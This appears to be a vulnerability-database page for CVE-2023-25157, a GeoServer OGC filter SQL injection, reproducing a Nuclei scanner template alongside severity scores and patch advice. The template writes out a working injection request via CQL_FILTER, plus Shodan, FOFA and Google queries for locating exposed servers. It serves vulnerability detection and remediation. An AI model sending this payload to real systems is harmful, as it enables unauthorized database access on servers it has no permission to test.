Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2023-25157
HistoryJun 07, 2023 - 5:58 a.m.

GeoServer OGC Filter - SQL Injection

2023-06-0705:58:03
ProjectDiscovery
github.com
25
geoserver
ogc filter
sql injection
java
web feature service
web map service
cql
postgis datastore
imagemosaic
web coverage service

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

0.58 Medium

EPSS

Percentile

97.7%

GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.
id: CVE-2023-25157

info:
  name: GeoServer OGC Filter - SQL Injection
  author: ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh
  severity: critical
  description: |
    GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the GeoServer project to fix the SQL Injection vulnerability.
  reference:
    - https://twitter.com/parzel2/status/1665726454489915395
    - https://nvd.nist.gov/vuln/detail/CVE-2023-25157
    - https://github.com/win3zz/CVE-2023-25157
    - https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf
    - https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25157
    cwe-id: CWE-89
    epss-score: 0.59299
    epss-percentile: 0.97754
    cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 3
    vendor: osgeo
    product: geoserver
    shodan-query:
      - title:"geoserver"
      - http.title:"geoserver"
    fofa-query:
      - title="geoserver"
      - app="geoserver"
    google-query: intitle:"geoserver"
  tags: cve2023,cve,geoserver,ogc,sqli,intrusive,osgeo

http:
  - raw:
      - |
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 30s
        GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    iterate-all: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - "SQL SELECT"

      - type: word
        part: header_3
        words:
          - text/xml

    extractors:
      - type: regex
        name: name
        group: 1
        regex:
          - '<FeatureType><Name>(.*?)<\/Name><Title>'
        internal: true
        part: body_1

      - type: regex
        name: column
        group: 1
        regex:
          - 'FID,([aA-zZ_]+),'
        internal: true
        part: body_2
# digest: 4a0a00473045022100c8d03081deaad597168e42a96ade9cb3d2171483bb602fe10d5e49818378dbda022058809cf715929d605db6001b9328bb309fd710934580675e57040b7819097c4a:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.4 High

AI Score

Confidence

High

0.58 Medium

EPSS

Percentile

97.7%